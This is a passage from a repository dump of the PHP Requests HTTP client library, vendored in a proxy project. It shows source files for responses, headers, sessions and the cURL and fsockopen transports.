CURLOPT_PROXYUSERPWD, $this->get_auth_string()); 108 | } 109 | } 110 | 111 | /** 112 | * Alter remote socket information before opening socket connection 113 | * 114 | * @since 1.6 115 | * @param string $remote_socket Socket connection string 116 | */ 117 | public function fsockopen_remote_socket(&$remote_socket) { 118 | $remote_socket = $this->proxy; 119 | } 120 | 121 | /** 122 | * Alter remote path before getting stream data 123 | * 124 | * @since 1.6 125 | * @param string $path Path to send in HTTP request string ("GET ...") 126 | * @param string $url Full URL we're requesting 127 | */ 128 | public function fsockopen_remote_host_path(&$path, $url) { 129 | $path = $url; 130 | } 131 | 132 | /** 133 | * Add extra headers to the request before sending 134 | * 135 | * @since 1.6 136 | * @param string $out HTTP header string 137 | */ 138 | public function fsockopen_header(&$out) { 139 | $out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string())); 140 | } 141 | 142 | /** 143 | * Get the authentication string (user:pass) 144 | * 145 | * @since 1.6 146 | * @return string 147 | */ 148 | public function get_auth_string() { 149 | return $this->user . ':' . $this->pass; 150 | } 151 | } -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Response.php: -------------------------------------------------------------------------------- 1 | headers = new Requests_Response_Headers(); 21 | $this->cookies = new Requests_Cookie_Jar(); 22 | } 23 | 24 | /** 25 | * Response body 26 | * 27 | * @var string 28 | */ 29 | public $body = ''; 30 | 31 | /** 32 | * Raw HTTP data from the transport 33 | * 34 | * @var string 35 | */ 36 | public $raw = ''; 37 | 38 | /** 39 | * Headers, as an associative array 40 | * 41 | * @var Requests_Response_Headers Array-like object representing headers 42 | */ 43 | public $headers = array(); 44 | 45 | /** 46 | * Status code, false if non-blocking 47 | * 48 | * @var integer|boolean 49 | */ 50 | public $status_code = false; 51 | 52 | /** 53 | * Protocol version, false if non-blocking 54 | * @var float|boolean 55 | */ 56 | public $protocol_version = false; 57 | 58 | /** 59 | * Whether the request succeeded or not 60 | * 61 | * @var boolean 62 | */ 63 | public $success = false; 64 | 65 | /** 66 | * Number of redirects the request used 67 | * 68 | * @var integer 69 | */ 70 | public $redirects = 0; 71 | 72 | /** 73 | * URL requested 74 | * 75 | * @var string 76 | */ 77 | public $url = ''; 78 | 79 | /** 80 | * Previous requests (from redirects) 81 | * 82 | * @var array Array of Requests_Response objects 83 | */ 84 | public $history = array(); 85 | 86 | /** 87 | * Cookies from the request 88 | * 89 | * @var Requests_Cookie_Jar Array-like object representing a cookie jar 90 | */ 91 | public $cookies = array(); 92 | 93 | /** 94 | * Is the response a redirect? 95 | * 96 | * @return boolean True if redirect (3xx status), false if not. 97 | */ 98 | public function is_redirect() { 99 | $code = $this->status_code; 100 | return in_array($code, array(300, 301, 302, 303, 307)) || $code > 307 && $code < 400; 101 | } 102 | 103 | /** 104 | * Throws an exception if the request was not successful 105 | * 106 | * @throws Requests_Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`) 107 | * @throws Requests_Exception_HTTP On non-successful status code. Exception class corresponds to code (e.g. {@see Requests_Exception_HTTP_404}) 108 | * @param boolean $allow_redirects Set to false to throw on a 3xx as well 109 | */ 110 | public function throw_for_status($allow_redirects = true) { 111 | if ($this->is_redirect()) { 112 | if (!$allow_redirects) { 113 | throw new Requests_Exception('Redirection not allowed', 'response.no_redirects', $this); 114 | } 115 | } 116 | elseif (!$this->success) { 117 | $exception = Requests_Exception_HTTP::get_class($this->status_code); 118 | throw new $exception(null, $this); 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Response/Headers.php: -------------------------------------------------------------------------------- 1 | data[$key])) { 29 | return null; 30 | } 31 | 32 | return $this->flatten($this->data[$key]); 33 | } 34 | 35 | /** 36 | * Set the given item 37 | * 38 | * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`) 39 | * 40 | * @param string $key Item name 41 | * @param string $value Item value 42 | */ 43 | public function offsetSet($key, $value) { 44 | if ($key === null) { 45 | throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset'); 46 | } 47 | 48 | $key = strtolower($key); 49 | 50 | if (!isset($this->data[$key])) { 51 | $this->data[$key] = array(); 52 | } 53 | 54 | $this->data[$key][] = $value; 55 | } 56 | 57 | /** 58 | * Get all values for a given header 59 | * 60 | * @param string $key 61 | * @return array Header values 62 | */ 63 | public function getValues($key) { 64 | $key = strtolower($key); 65 | if (!isset($this->data[$key])) { 66 | return null; 67 | } 68 | 69 | return $this->data[$key]; 70 | } 71 | 72 | /** 73 | * Flattens a value into a string 74 | * 75 | * Converts an array into a string by imploding values with a comma, as per 76 | * RFC2616's rules for folding headers. 77 | * 78 | * @param string|array $value Value to flatten 79 | * @return string Flattened value 80 | */ 81 | public function flatten($value) { 82 | if (is_array($value)) { 83 | $value = implode(',', $value); 84 | } 85 | 86 | return $value; 87 | } 88 | 89 | /** 90 | * Get an iterator for the data 91 | * 92 | * Converts the internal 93 | * @return ArrayIterator 94 | */ 95 | public function getIterator() { 96 | return new Requests_Utility_FilteredIterator($this->data, array($this, 'flatten')); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/SSL.php: -------------------------------------------------------------------------------- 1 | useragent = 'X';` 53 | * 54 | * @var array 55 | */ 56 | public $options = array(); 57 | 58 | /** 59 | * Create a new session 60 | * 61 | * @param string|null $url Base URL for requests 62 | * @param array $headers Default headers for requests 63 | * @param array $data Default data for requests 64 | * @param array $options Default options for requests 65 | */ 66 | public function __construct($url = null, $headers = array(), $data = array(), $options = array()) { 67 | $this->url = $url; 68 | $this->headers = $headers; 69 | $this->data = $data; 70 | $this->options = $options; 71 | 72 | if (empty($this->options['cookies'])) { 73 | $this->options['cookies'] = new Requests_Cookie_Jar(); 74 | } 75 | } 76 | 77 | /** 78 | * Get a property's value 79 | * 80 | * @param string $key Property key 81 | * @return mixed|null Property value, null if none found 82 | */ 83 | public function __get($key) { 84 | if (isset($this->options[$key])) { 85 | return $this->options[$key]; 86 | } 87 | 88 | return null; 89 | } 90 | 91 | /** 92 | * Set a property's value 93 | * 94 | * @param string $key Property key 95 | * @param mixed $value Property value 96 | */ 97 | public function __set($key, $value) { 98 | $this->options[$key] = $value; 99 | } 100 | 101 | /** 102 | * Remove a property's value 103 | * 104 | * @param string $key Property key 105 | */ 106 | public function __isset($key) { 107 | return isset($this->options[$key]); 108 | } 109 | 110 | /** 111 | * Remove a property's value 112 | * 113 | * @param string $key Property key 114 | */ 115 | public function __unset($key) { 116 | if (isset($this->options[$key])) { 117 | unset($this->options[$key]); 118 | } 119 | } 120 | 121 | /**#@+ 122 | * @see request() 123 | * @param string $url 124 | * @param array $headers 125 | * @param array $options 126 | * @return Requests_Response 127 | */ 128 | /** 129 | * Send a GET request 130 | */ 131 | public function get($url, $headers = array(), $options = array()) { 132 | return $this->request($url, $headers, null, Requests::GET, $options); 133 | } 134 | 135 | /** 136 | * Send a HEAD request 137 | */ 138 | public function head($url, $headers = array(), $options = array()) { 139 | return $this->request($url, $headers, null, Requests::HEAD, $options); 140 | } 141 | 142 | /** 143 | * Send a DELETE request 144 | */ 145 | public function delete($url, $headers = array(), $options = array()) { 146 | return $this->request($url, $headers, null, Requests::DELETE, $options); 147 | } 148 | /**#@-*/ 149 | 150 | /**#@+ 151 | * @see request() 152 | * @param string $url 153 | * @param array $headers 154 | * @param array $data 155 | * @param array $options 156 | * @return Requests_Response 157 | */ 158 | /** 159 | * Send a POST request 160 | */ 161 | public function post($url, $headers = array(), $data = array(), $options = array()) { 162 | return $this->request($url, $headers, $data, Requests::POST, $options); 163 | } 164 | 165 | /** 166 | * Send a PUT request 167 | */ 168 | public function put($url, $headers = array(), $data = array(), $options = array()) { 169 | return $this->request($url, $headers, $data, Requests::PUT, $options); 170 | } 171 | 172 | /** 173 | * Send a PATCH request 174 | * 175 | * Note: Unlike {@see post} and {@see put}, `$headers` is required, as the 176 | * specification recommends that should send an ETag 177 | * 178 | * @link https://tools.ietf.org/html/rfc5789 179 | */ 180 | public function patch($url, $headers, $data = array(), $options = array()) { 181 | return $this->request($url, $headers, $data, Requests::PATCH, $options); 182 | } 183 | /**#@-*/ 184 | 185 | /** 186 | * Main interface for HTTP requests 187 | * 188 | * This method initiates a request and sends it via a transport before 189 | * parsing. 190 | * 191 | * @see Requests::request() 192 | * 193 | * @throws Requests_Exception On invalid URLs (`nonhttp`) 194 | * 195 | * @param string $url URL to request 196 | * @param array $headers Extra headers to send with the request 197 | * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests 198 | * @param string $type HTTP request type (use Requests constants) 199 | * @param array $options Options for the request (see {@see Requests::request}) 200 | * @return Requests_Response 201 | */ 202 | public function request($url, $headers = array(), $data = array(), $type = Requests::GET, $options = array()) { 203 | $request = $this->merge_request(compact('url', 'headers', 'data', 'options')); 204 | 205 | return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']); 206 | } 207 | 208 | /** 209 | * Send multiple HTTP requests simultaneously 210 | * 211 | * @see Requests::request_multiple() 212 | * 213 | * @param array $requests Requests data (see {@see Requests::request_multiple}) 214 | * @param array $options Global and default options (see {@see Requests::request}) 215 | * @return array Responses (either Requests_Response or a Requests_Exception object) 216 | */ 217 | public function request_multiple($requests, $options = array()) { 218 | foreach ($requests as $key => $request) { 219 | $requests[$key] = $this->merge_request($request, false); 220 | } 221 | 222 | $options = array_merge($this->options, $options); 223 | 224 | // Disallow forcing the type, as that's a per request setting 225 | unset($options['type']); 226 | 227 | return Requests::request_multiple($requests, $options); 228 | } 229 | 230 | /** 231 | * Merge a request's data with the default data 232 | * 233 | * @param array $request Request data (same form as {@see request_multiple}) 234 | * @param boolean $merge_options Should we merge options as well? 235 | * @return array Request data 236 | */ 237 | protected function merge_request($request, $merge_options = true) { 238 | if ($this->url !== null) { 239 | $request['url'] = Requests_IRI::absolutize($this->url, $request['url']); 240 | $request['url'] = $request['url']->uri; 241 | } 242 | 243 | if (empty($request['headers'])) { 244 | $request['headers'] = array(); 245 | } 246 | $request['headers'] = array_merge($this->headers, $request['headers']); 247 | 248 | if (empty($request['data'])) { 249 | if (is_array($this->data)) { 250 | $request['data'] = $this->data; 251 | } 252 | } 253 | elseif (is_array($request['data']) && is_array($this->data)) { 254 | $request['data'] = array_merge($this->data, $request['data']); 255 | } 256 | 257 | if ($merge_options !== false) { 258 | $request['options'] = array_merge($this->options, $request['options']); 259 | 260 | // Disallow forcing the type, as that's a per request setting 261 | unset($request['options']['type']); 262 | } 263 | 264 | return $request; 265 | } 266 | } 267 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Transport.php: -------------------------------------------------------------------------------- 1 | version = $curl['version_number']; 95 | $this->handle = curl_init(); 96 | 97 | curl_setopt($this->handle, CURLOPT_HEADER, false); 98 | curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1); 99 | if ($this->version >= self::CURL_7_10_5) { 100 | curl_setopt($this->handle, CURLOPT_ENCODING, ''); 101 | } 102 | if (defined('CURLOPT_PROTOCOLS')) { 103 | curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); 104 | } 105 | if (defined('CURLOPT_REDIR_PROTOCOLS')) { 106 | curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); 107 | } 108 | } 109 | 110 | /** 111 | * Destructor 112 | */ 113 | public function __destruct() { 114 | if (is_resource($this->handle)) { 115 | curl_close($this->handle); 116 | } 117 | } 118 | 119 | /** 120 | * Perform a request 121 | * 122 | * @throws Requests_Exception On a cURL error (`curlerror`) 123 | * 124 | * @param string $url URL to request 125 | * @param array $headers Associative array of request headers 126 | * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD 127 | * @param array $options Request options, see {@see Requests::response()} for documentation 128 | * @return string Raw HTTP result 129 | */ 130 | public function request($url, $headers = array(), $data = array(), $options = array()) { 131 | $this->hooks = $options['hooks']; 132 | 133 | $this->setup_handle($url, $headers, $data, $options); 134 | 135 | $options['hooks']->dispatch('curl.before_send', array(&$this->handle)); 136 | 137 | if ($options['filename'] !== false) { 138 | $this->stream_handle = fopen($options['filename'], 'wb'); 139 | } 140 | 141 | $this->response_data = ''; 142 | $this->response_bytes = 0; 143 | $this->response_byte_limit = false; 144 | if ($options['max_bytes'] !== false) { 145 | $this->response_byte_limit = $options['max_bytes']; 146 | } 147 | 148 | if (isset($options['verify'])) { 149 | if ($options['verify'] === false) { 150 | curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); 151 | curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0); 152 | } 153 | elseif (is_string($options['verify'])) { 154 | curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']); 155 | } 156 | } 157 | 158 | if (isset($options['verifyname']) && $options['verifyname'] === false) { 159 | curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); 160 | } 161 | 162 | curl_exec($this->handle); 163 | $response = $this->response_data; 164 | 165 | $options['hooks']->dispatch('curl.after_send', array()); 166 | 167 | if (curl_errno($this->handle) === 23 || curl_errno($this->handle) === 61) { 168 | // Reset encoding and try again 169 | curl_setopt($this->handle, CURLOPT_ENCODING, 'none'); 170 | 171 | $this->response_data = ''; 172 | $this->response_bytes = 0; 173 | curl_exec($this->handle); 174 | $response = $this->response_data; 175 | } 176 | 177 | $this->process_response($response, $options); 178 | 179 | // Need to remove the $this reference from the curl handle. 180 | // Otherwise Requests_Transport_cURL wont be garbage collected and the curl_close() will never be called. 181 | curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null); 182 | curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null); 183 | 184 | return $this->headers; 185 | } 186 | 187 | /** 188 | * Send multiple requests simultaneously 189 | * 190 | * @param array $requests Request data 191 | * @param array $options Global options 192 | * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well) 193 | */ 194 | public function request_multiple($requests, $options) { 195 | // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ 196 | if (empty($requests)) { 197 | return array(); 198 | } 199 | 200 | $multihandle = curl_multi_init(); 201 | $subrequests = array(); 202 | $subhandles = array(); 203 | 204 | $class = get_class($this); 205 | foreach ($requests as $id => $request) { 206 | $subrequests[$id] = new $class(); 207 | $subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']); 208 | $request['options']['hooks']->dispatch('curl.before_multi_add', array(&$subhandles[$id])); 209 | curl_multi_add_handle($multihandle, $subhandles[$id]); 210 | } 211 | 212 | $completed = 0; 213 | $responses = array(); 214 | 215 | $request['options']['hooks']->dispatch('curl.before_multi_exec', array(&$multihandle)); 216 | 217 | do { 218 | $active = false; 219 | 220 | do { 221 | $status = curl_multi_exec($multihandle, $active); 222 | } 223 | while ($status === CURLM_CALL_MULTI_PERFORM); 224 | 225 | $to_process = array(); 226 | 227 | // Read the information as needed 228 | while ($done = curl_multi_info_read($multihandle)) { 229 | $key = array_search($done['handle'], $subhandles, true); 230 | if (!isset($to_process[$key])) { 231 | $to_process[$key] = $done; 232 | } 233 | } 234 | 235 | // Parse the finished requests before we start getting the new ones 236 | foreach ($to_process as $key => $done) { 237 | $options = $requests[$key]['options']; 238 | if (CURLE_OK !== $done['result']) { 239 | //get error string for handle. 240 | $reason = curl_error($done['handle']); 241 | $exception = new Requests_Exception_Transport_cURL( 242 | $reason, 243 | Requests_Exception_Transport_cURL::EASY, 244 | $done['handle'], 245 | $done['result'] 246 | ); 247 | $responses[$key] = $exception; 248 | $options['hooks']->dispatch('transport.internal.parse_error', array(&$responses[$key], $requests[$key])); 249 | } 250 | else { 251 | $responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options); 252 | 253 | $options['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$key], $requests[$key])); 254 | } 255 | 256 | curl_multi_remove_handle($multihandle, $done['handle']); 257 | curl_close($done['handle']); 258 | 259 | if (!is_string($responses[$key])) { 260 | $options['hooks']->dispatch('multiple.request.complete', array(&$responses[$key], $key)); 261 | } 262 | $completed++; 263 | } 264 | } 265 | while ($active || $completed < count($subrequests)); 266 | 267 | $request['options']['hooks']->dispatch('curl.after_multi_exec', array(&$multihandle)); 268 | 269 | curl_multi_close($multihandle); 270 | 271 | return $responses; 272 | } 273 | 274 | /** 275 | * Get the cURL handle for use in a multi-request 276 | * 277 | * @param string $url URL to request 278 | * @param array $headers Associative array of request headers 279 | * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD 280 | * @param array $options Request options, see {@see Requests::response()} for documentation 281 | * @return resource Subrequest's cURL handle 282 | */ 283 | public function &get_subrequest_handle($url, $headers, $data, $options) { 284 | $this->setup_handle($url, $headers, $data, $options); 285 | 286 | if ($options['filename'] !== false) { 287 | $this->stream_handle = fopen($options['filename'], 'wb'); 288 | } 289 | 290 | $this->response_data = ''; 291 | $this->response_bytes = 0; 292 | $this->response_byte_limit = false; 293 | if ($options['max_bytes'] !== false) { 294 | $this->response_byte_limit = $options['max_bytes']; 295 | } 296 | $this->hooks = $options['hooks']; 297 | 298 | return $this->handle; 299 | } 300 | 301 | /** 302 | * Setup the cURL handle for the given data 303 | * 304 | * @param string $url URL to request 305 | * @param array $headers Associative array of request headers 306 | * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD 307 | * @param array $options Request options, see {@see Requests::response()} for documentation 308 | */ 309 | protected function setup_handle($url, $headers, $data, $options) { 310 | $options['hooks']->dispatch('curl.before_request', array(&$this->handle)); 311 | 312 | // Force closing the connection for old versions of cURL (<7.22). 313 | if ( ! isset( $headers['Connection'] ) ) { 314 | $headers['Connection'] = 'close'; 315 | } 316 | 317 | $headers = Requests::flatten($headers); 318 | 319 | if (!empty($data)) { 320 | $data_format = $options['data_format']; 321 | 322 | if ($data_format === 'query') { 323 | $url = self::format_get($url, $data); 324 | $data = ''; 325 | } 326 | elseif (!is_string($data)) { 327 | $data = http_build_query($data, null, '&'); 328 | } 329 | } 330 | 331 | switch ($options['type']) { 332 | case Requests::POST: 333 | curl_setopt($this->handle, CURLOPT_POST, true); 334 | curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); 335 | break; 336 | case Requests::HEAD: 337 | curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); 338 | curl_setopt($this->handle, CURLOPT_NOBODY, true); 339 | break; 340 | case Requests::TRACE: 341 | curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); 342 | break; 343 | case Requests::PATCH: 344 | case Requests::PUT: 345 | case Requests::DELETE: 346 | case Requests::OPTIONS: 347 | default: 348 | curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); 349 | if (!empty($data)) { 350 | curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); 351 | } 352 | } 353 | 354 | // cURL requires a minimum timeout of 1 second when using the system 355 | // DNS resolver, as it uses `alarm()`, which is second resolution only. 356 | // There's no way to detect which DNS resolver is being used from our 357 | // end, so we need to round up regardless of the supplied timeout. 358 | // 359 | // https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609 360 | $timeout = max($options['timeout'], 1); 361 | 362 | if (is_int($timeout) || $this->version < self::CURL_7_16_2) { 363 | curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout)); 364 | } 365 | else { 366 | curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000)); 367 | } 368 | 369 | if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) { 370 | curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout'])); 371 | } 372 | else { 373 | curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000)); 374 | } 375 | curl_setopt($this->handle, CURLOPT_URL, $url); 376 | curl_setopt($this->handle, CURLOPT_REFERER, $url); 377 | curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']); 378 | curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers); 379 | 380 | if ($options['protocol_version'] === 1.1) { 381 | curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); 382 | } 383 | else { 384 | curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0); 385 | } 386 | 387 | if (true === $options['blocking']) { 388 | curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, array(&$this, 'stream_headers')); 389 | curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, array(&$this, 'stream_body')); 390 | curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE); 391 | } 392 | } 393 | 394 | /** 395 | * Process a response 396 | * 397 | * @param string $response Response data from the body 398 | * @param array $options Request options 399 | * @return string HTTP response data including headers 400 | */ 401 | public function process_response($response, $options) { 402 | if ($options['blocking'] === false) { 403 | $fake_headers = ''; 404 | $options['hooks']->dispatch('curl.after_request', array(&$fake_headers)); 405 | return false; 406 | } 407 | if ($options['filename'] !== false) { 408 | fclose($this->stream_handle); 409 | $this->headers = trim($this->headers); 410 | } 411 | else { 412 | $this->headers .= $response; 413 | } 414 | 415 | if (curl_errno($this->handle)) { 416 | $error = sprintf( 417 | 'cURL error %s: %s', 418 | curl_errno($this->handle), 419 | curl_error($this->handle) 420 | ); 421 | throw new Requests_Exception($error, 'curlerror', $this->handle); 422 | } 423 | $this->info = curl_getinfo($this->handle); 424 | 425 | $options['hooks']->dispatch('curl.after_request', array(&$this->headers, &$this->info)); 426 | return $this->headers; 427 | } 428 | 429 | /** 430 | * Collect the headers as they are received 431 | * 432 | * @param resource $handle cURL resource 433 | * @param string $headers Header string 434 | * @return integer Length of provided header 435 | */ 436 | public function stream_headers($handle, $headers) { 437 | // Why do we do this? cURL will send both the final response and any 438 | // interim responses, such as a 100 Continue. We don't need that. 439 | // (We may want to keep this somewhere just in case) 440 | if ($this->done_headers) { 441 | $this->headers = ''; 442 | $this->done_headers = false; 443 | } 444 | $this->headers .= $headers; 445 | 446 | if ($headers === "\r\n") { 447 | $this->done_headers = true; 448 | } 449 | return strlen($headers); 450 | } 451 | 452 | /** 453 | * Collect data as it's received 454 | * 455 | * @since 1.6.1 456 | * 457 | * @param resource $handle cURL resource 458 | * @param string $data Body data 459 | * @return integer Length of provided data 460 | */ 461 | protected function stream_body($handle, $data) { 462 | $this->hooks->dispatch('request.progress', array($data, $this->response_bytes, $this->response_byte_limit)); 463 | $data_length = strlen($data); 464 | 465 | // Are we limiting the response size? 466 | if ($this->response_byte_limit) { 467 | if ($this->response_bytes === $this->response_byte_limit) { 468 | // Already at maximum, move on 469 | return $data_length; 470 | } 471 | 472 | if (($this->response_bytes + $data_length) > $this->response_byte_limit) { 473 | // Limit the length 474 | $limited_length = ($this->response_byte_limit - $this->response_bytes); 475 | $data = substr($data, 0, $limited_length); 476 | } 477 | } 478 | 479 | if ($this->stream_handle) { 480 | fwrite($this->stream_handle, $data); 481 | } 482 | else { 483 | $this->response_data .= $data; 484 | } 485 | 486 | $this->response_bytes += strlen($data); 487 | return $data_length; 488 | } 489 | 490 | /** 491 | * Format a URL given GET data 492 | * 493 | * @param string $url 494 | * @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query} 495 | * @return string URL with data 496 | */ 497 | protected static function format_get($url, $data) { 498 | if (!empty($data)) { 499 | $url_parts = parse_url($url); 500 | if (empty($url_parts['query'])) { 501 | $query = $url_parts['query'] = ''; 502 | } 503 | else { 504 | $query = $url_parts['query']; 505 | } 506 | 507 | $query .= '&' . http_build_query($data, null, '&'); 508 | $query = trim($query, '&'); 509 | 510 | if (empty($url_parts['query'])) { 511 | $url .= '?' . $query; 512 | } 513 | else { 514 | $url = str_replace($url_parts['query'], $query, $url); 515 | } 516 | } 517 | return $url; 518 | } 519 | 520 | /** 521 | * Whether this transport is valid 522 | * 523 | * @codeCoverageIgnore 524 | * @return boolean True if the transport is valid, false otherwise. 525 | */ 526 | public static function test($capabilities = array()) { 527 | if (!function_exists('curl_init') || !function_exists('curl_exec')) { 528 | return false; 529 | } 530 | 531 | // If needed, check that our installed curl version supports SSL 532 | if (isset($capabilities['ssl']) && $capabilities['ssl']) { 533 | $curl_version = curl_version(); 534 | if (!(CURL_VERSION_SSL & $curl_version['features'])) { 535 | return false; 536 | } 537 | } 538 | 539 | return true; 540 | } 541 | } 542 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Transport/fsockopen.php: -------------------------------------------------------------------------------- 1 | dispatch('fsockopen.before_request'); 60 | 61 | $url_parts = parse_url($url); 62 | if (empty($url_parts)) { 63 | throw new Requests_Exception('Invalid URL.', 'invalidurl', $url); 64 | } 65 | $host = $url_parts['host']; 66 | $context = stream_context_create(); 67 | $verifyname = false; 68 | $case_insensitive_headers = new Requests_Utility_CaseInsensitiveDictionary($headers); 69 | 70 | // HTTPS support 71 | if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { 72 | $remote_socket = 'ssl://' . $host; 73 | $url_parts['port'] = 443; 74 | 75 | $context_options = array( 76 | 'verify_peer' => true, 77 | // 'CN_match' => $host, 78 | 'capture_peer_cert' => true 79 | ); 80 | $verifyname = true; 81 | 82 | // SNI, if enabled (OpenSSL >=0.9.8j) 83 | if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) { 84 | $context_options['SNI_enabled'] = true; 85 | if (isset($options['verifyname']) && $options['verifyname'] === false) { 86 | $context_options['SNI_enabled'] = false; 87 | } 88 | } 89 | 90 | if (isset($options['verify'])) { 91 | if ($options['verify'] === false) { 92 | $context_options['verify_peer'] = false; 93 | } 94 | elseif (is_string($options['verify'])) { 95 | $context_options['cafile'] = $options['verify']; 96 | } 97 | } 98 | 99 | if (isset($options['verifyname']) && $options['verifyname'] === false) { 100 | $verifyname = false; 101 | } 102 | 103 | stream_context_set_option($context, array('ssl' => $context_options)); 104 | } 105 | else { 106 | $remote_socket = 'tcp://' . $host; 107 | } 108 | 109 | $this->max_bytes = $options['max_bytes']; 110 | 111 | if (!isset($url_parts['port'])) { 112 | $url_parts['port'] = 80; 113 | } 114 | $remote_socket .= ':' . $url_parts['port']; 115 | 116 | set_error_handler(array($this, 'connect_error_handler'), E_WARNING | E_NOTICE); 117 | 118 | $options['hooks']->dispatch('fsockopen.remote_socket', array(&$remote_socket)); 119 | 120 | $socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context); 121 | 122 | restore_error_handler(); 123 | 124 | if ($verifyname && !$this->verify_certificate_from_context($host, $context)) { 125 | throw new Requests_Exception('SSL certificate did not match the requested domain name', 'ssl.no_match'); 126 | } 127 | 128 | if (!$socket) { 129 | if ($errno === 0) { 130 | // Connection issue 131 | throw new Requests_Exception(rtrim($this->connect_error), 'fsockopen.connect_error'); 132 | } 133 | 134 | throw new Requests_Exception($errstr, 'fsockopenerror', null, $errno); 135 | } 136 | 137 | $data_format = $options['data_format']; 138 | 139 | if ($data_format === 'query') { 140 | $path = self::format_get($url_parts, $data); 141 | $data = ''; 142 | } 143 | else { 144 | $path = self::format_get($url_parts, array()); 145 | } 146 | 147 | $options['hooks']->dispatch('fsockopen.remote_host_path', array(&$path, $url)); 148 | 149 | $request_body = ''; 150 | $out = sprintf("%s %s HTTP/%.1f\r\n", $options['type'], $path, $options['protocol_version']); 151 | 152 | if ($options['type'] !== Requests::TRACE) { 153 | if (is_array($data)) { 154 | $request_body = http_build_query($data, null, '&'); 155 | } 156 | else { 157 | $request_body = $data; 158 | } 159 | 160 | if (!empty($data)) { 161 | if (!isset($case_insensitive_headers['Content-Length'])) { 162 | $headers['Content-Length'] = strlen($request_body); 163 | } 164 | 165 | if (!isset($case_insensitive_headers['Content-Type'])) { 166 | $headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'; 167 | } 168 | } 169 | } 170 | 171 | if (!isset($case_insensitive_headers['Host'])) { 172 | $out .= sprintf('Host: %s', $url_parts['host']); 173 | 174 | if ($url_parts['port'] !== 80) { 175 | $out .= ':' . $url_parts['port']; 176 | } 177 | $out .= "\r\n"; 178 | } 179 | 180 | if (!isset($case_insensitive_headers['User-Agent'])) { 181 | $out .= sprintf("User-Agent: %s\r\n", $options['useragent']); 182 | } 183 | 184 | $accept_encoding = $this->accept_encoding(); 185 | if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) { 186 | $out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding); 187 | } 188 | 189 | $headers = Requests::flatten($headers); 190 | 191 | if (!empty($headers)) { 192 | $out .= implode($headers, "\r\n") . "\r\n"; 193 | } 194 | 195 | $options['hooks']->dispatch('fsockopen.after_headers', array(&$out)); 196 | 197 | if (substr($out, -2) !== "\r\n") { 198 | $out .= "\r\n"; 199 | } 200 | 201 | if (!isset($case_insensitive_headers['Connection'])) { 202 | $out .= "Connection: Close\r\n"; 203 | } 204 | 205 | $out .= "\r\n" . $request_body; 206 | 207 | $options['hooks']->dispatch('fsockopen.before_send', array(&$out)); 208 | 209 | fwrite($socket, $out); 210 | $options['hooks']->dispatch('fsockopen.after_send', array($out)); 211 | 212 | if (!$options['blocking']) { 213 | fclose($socket); 214 | $fake_headers = ''; 215 | $options['hooks']->dispatch('fsockopen.after_request', array(&$fake_headers)); 216 | return ''; 217 | } 218 | 219 | $timeout_sec = (int) floor($options['timeout']); 220 | if ($timeout_sec == $options['timeout']) { 221 | $timeout_msec = 0; 222 | } 223 | else { 224 | $timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % 